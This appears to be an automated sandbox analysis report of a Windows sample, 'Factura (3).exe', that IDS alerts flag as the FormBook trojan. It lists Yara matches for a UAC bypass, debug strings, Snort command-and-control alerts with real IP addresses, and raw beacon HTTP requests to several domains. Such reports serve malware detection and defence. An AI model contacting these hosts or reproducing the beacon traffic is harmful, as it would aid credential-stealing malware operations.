Windows Analysis Report
Factura (3).exe

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Exploits

Source: Yara match	File source: 00000009.00000002.1563610198.000001CE12DAC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1563610198.000001CE1209D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7492, type: MEMORYSTR

Source: Factura (3).exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Configuration.Install.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdbp source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb! source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdbN source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: csc.exe, csc.exe, 0000000E.00000002.1567920536.0000000005370000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 0000000E.00000003.1424584842.0000000005012000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 0000000E.00000002.1567920536.000000000550E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000017.00000002.3766101465.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1567081999.000000000505D000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766101465.000000000554E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1569342109.0000000005202000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb" source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Numerics.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: chkdsk.pdbGCTL source: csc.exe, 0000000E.00000002.1567571580.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764224956.0000000001558000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000009.00000002.1604691590.000001CE29C10000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb" source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.ni.pdbRSDSJ< source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: chkdsk.pdb source: csc.exe, 0000000E.00000002.1567571580.0000000004F17000.00000004.00000020.00020000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3764224956.0000000001558000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.pdb` source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.DirectoryServices.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: wntdll.pdbUGP source: csc.exe, 0000000E.00000002.1567920536.0000000005370000.00000040.00001000.00020000.00000000.sdmp, csc.exe, 0000000E.00000003.1424584842.0000000005012000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 0000000E.00000002.1567920536.000000000550E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766101465.00000000053B0000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1567081999.000000000505D000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766101465.000000000554E000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000003.1569342109.0000000005202000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Data.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Configuration.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\System.Core.pdbpdb< source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Data.pdbH source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29EE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F04000.00000004.00000020.00020000.00000000.sdmp, WERFCB2.tmp.dmp.17.dr
Source:	Binary string: mscorlib.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Security.ni.pdbRSDS~ source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.Management.Infrastructure.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Numerics.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: omation.pdbVX source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbp^ source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdb! source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XC:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: assembly\GAC_MSC:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbPE source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Security.pdb` source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.PowerShell.Commands.Management.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.pdbh source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Configuration.Install.ni.pdbRSDSQ source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbD;. source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000009.00000002.1604691590.000001CE29C57000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb0 source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.ConsoleHost.ni.pdbRSDS[q source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: KAnMKAQhHABqpRuDRpLtww.exe, 00000014.00000002.3762440528.000000000097E000.00000002.00000001.01000000.00000009.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000000.1640062378.000000000097E000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Configuration.Install.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb0OJ source: powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdbmation.pdbpdbion.pdbment.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1563023145.0000000B0F501000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Security.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Xml.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.VisualBasic.pdb8 source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000009.00000002.1604691590.000001CE29CE3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb@ source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Data.ni.pdbRSDSC source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Xml.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29EE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F1E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1606616466.000001CE29F04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbrogram x source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29F9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Management.Automation.pdb3 source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000009.00000002.1606616466.000001CE29EE0000.00000004.00000020.00020000.00000000.sdmp, WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Transactions.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.pdbiy source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: Microsoft.Management.Infrastructure.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Transactions.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Transactions.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.ni.pdb source: WERFCB2.tmp.dmp.17.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERFCB2.tmp.dmp.17.dr

Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FFC58 FindFirstFileExW,		6_2_00007FF7340FFC58
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_0076B5C0 FindFirstFileW,FindNextFileW,FindClose,		23_2_0076B5C0

Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then xor eax, eax	23_2_00759320
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then pop edi	23_2_0075D8A9
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 4x nop then pop edi	23_2_00761B46

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49713 -> 3.33.130.190:80
Source: Traffic	Snort IDS: 2856318 ETPRO TROJAN FormBook CnC Checkin (POST) M4 192.168.2.9:49714 -> 162.241.216.140:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49714 -> 162.241.216.140:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49716 -> 162.241.216.140:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49718 -> 162.241.216.140:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49719 -> 57.151.38.169:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49720 -> 57.151.38.169:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49722 -> 57.151.38.169:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49723 -> 162.241.216.140:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49724 -> 162.241.216.140:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49726 -> 162.241.216.140:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49727 -> 217.160.0.111:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49728 -> 217.160.0.111:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49730 -> 217.160.0.111:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49731 -> 91.195.240.123:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49732 -> 91.195.240.123:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49734 -> 91.195.240.123:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49735 -> 162.0.237.22:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49736 -> 162.0.237.22:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49738 -> 162.0.237.22:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49739 -> 103.168.172.37:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49740 -> 103.168.172.37:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49742 -> 103.168.172.37:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49743 -> 104.37.39.71:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49744 -> 104.37.39.71:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49746 -> 104.37.39.71:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49747 -> 199.59.243.225:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.9:49748 -> 199.59.243.225:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.9:49750 -> 199.59.243.225:80

Source: Joe Sandbox View	IP Address: 217.160.0.111 217.160.0.111
Source: Joe Sandbox View	IP Address: 162.0.237.22 162.0.237.22

Source: Joe Sandbox View	ASN Name: AARNET-AS-APAustralianAcademicandResearchNetworkAARNe AARNET-AS-APAustralianAcademicandResearchNetworkAARNe
Source: Joe Sandbox View	ASN Name: ONECOMDK ONECOMDK
Source: Joe Sandbox View	ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=D5+pF2/O5onkRgswN5mCVTTvHr6l6Q5GMQdzYj/9XZpkwzi9ddj0crwo6H79wSPqAuXYaDgjxYH65NOwo1DiEBBB3RCutNlD9KPyQG6aNo0jRjsCiw== HTTP/1.1Host: www.dty377.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?1Joh=jpQBXhuFRU/tY42PEy1MRCLekuE2gkbQLSvL4WMkje8Ac0YXf6PnpjUwWfsjtXOk/4EuhOubIcIRVaFREibl9IXZIQ7kou/2QQYtq6MxCehvw2Hq6A==&-xl=hBllB6kp4D1dBFK HTTP/1.1Host: www.lenslaser.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP29Gns/tznWejtp74GMksy59FodZgvEjUcMF+Pj4nBc1gMpqWDMKZB4BsRbutJiIudg/fevYEHw== HTTP/1.1Host: www.allinone24.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?1Joh=jpQBXhuFRU/tY42PEy1MRCLekuE2gkbQLSvL4WMkje8Ac0YXf6PnpjUwWfsjtXOk/4EuhOubIcIRVaFREibl9IXZIQ7kou/2QQYtq6MxCehvw2Hq6A==&-xl=hBllB6kp4D1dBFK HTTP/1.1Host: www.lenslaser.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=t2ltNu02BWCxFJkDVXGm6lgSI2VyyVBo25Fvtgz0OT6/eZJtaFugFEP80bfDefIKNSUaDat+4U4ei33vOp33fhcSA/1GWguFcrikpDXwe5bKKbqlQA== HTTP/1.1Host: www.carliente.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?1Joh=+LASaW8sLlti/Y5moa0QLjD+NRT0ctxfunbDEh0FE1w8Tz+VHrtWZSUefKogmen1MiEzwZmsfiIE4qB4y6Vq9cD+KipKFAhgCA6j04PZFMUkTXmsCQ==&-xl=hBllB6kp4D1dBFK HTTP/1.1Host: www.walletweb367.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=Z7d5vO3PiPWE/zeG4Btin5s4Ysi+TbPypBLuOElxuuV1BOUgEEq9TvThZhsN+4G3m8UtXtkpFAILmOKtc08UqI4ilaLC+vP+XuzsWsJjJ3qBfbOqHA== HTTP/1.1Host: www.deaybrid.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=WM8YJa5qA0NkIP/QQImrOwC+xPjRZGMWxn5RlfXsP+w6QT8BWCtnYGsQFWxr+5Q3wXsj3+rXjilTrq1L87WNvDgoePcC7Qc9BGKrDLvXVkg0rvhMMA== HTTP/1.1Host: www.celebration24.co.ukAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?1Joh=PB65ht3xmDnV1ShZ+uHkcVi2Uq9TdnP+w4dQHmlxp9S6BIZIF1eyIZ9SallNAheKgV6/CipsbblBAwuU+20rV9UCB7jgFNORqHszkZ5HGMai3UIp4A==&-xl=hBllB6kp4D1dBFK HTTP/1.1Host: www.gledingakademiet.noAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
Source: global traffic	HTTP traffic detected: GET /mcz6/?1Joh=qn3zkYHztMKe8mzhAMvQ2dUsB2FJeuQFLz3cQj0k4MJfJlhRJYX+G77tvqK2UZX2Wgv5bTm3q1t3YjrK87HOZU6owkhcBiV/M9JN6GagiG0Bu0xexw==&-xl=hBllB6kp4D1dBFK HTTP/1.1Host: www.zwervertjes.beAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0

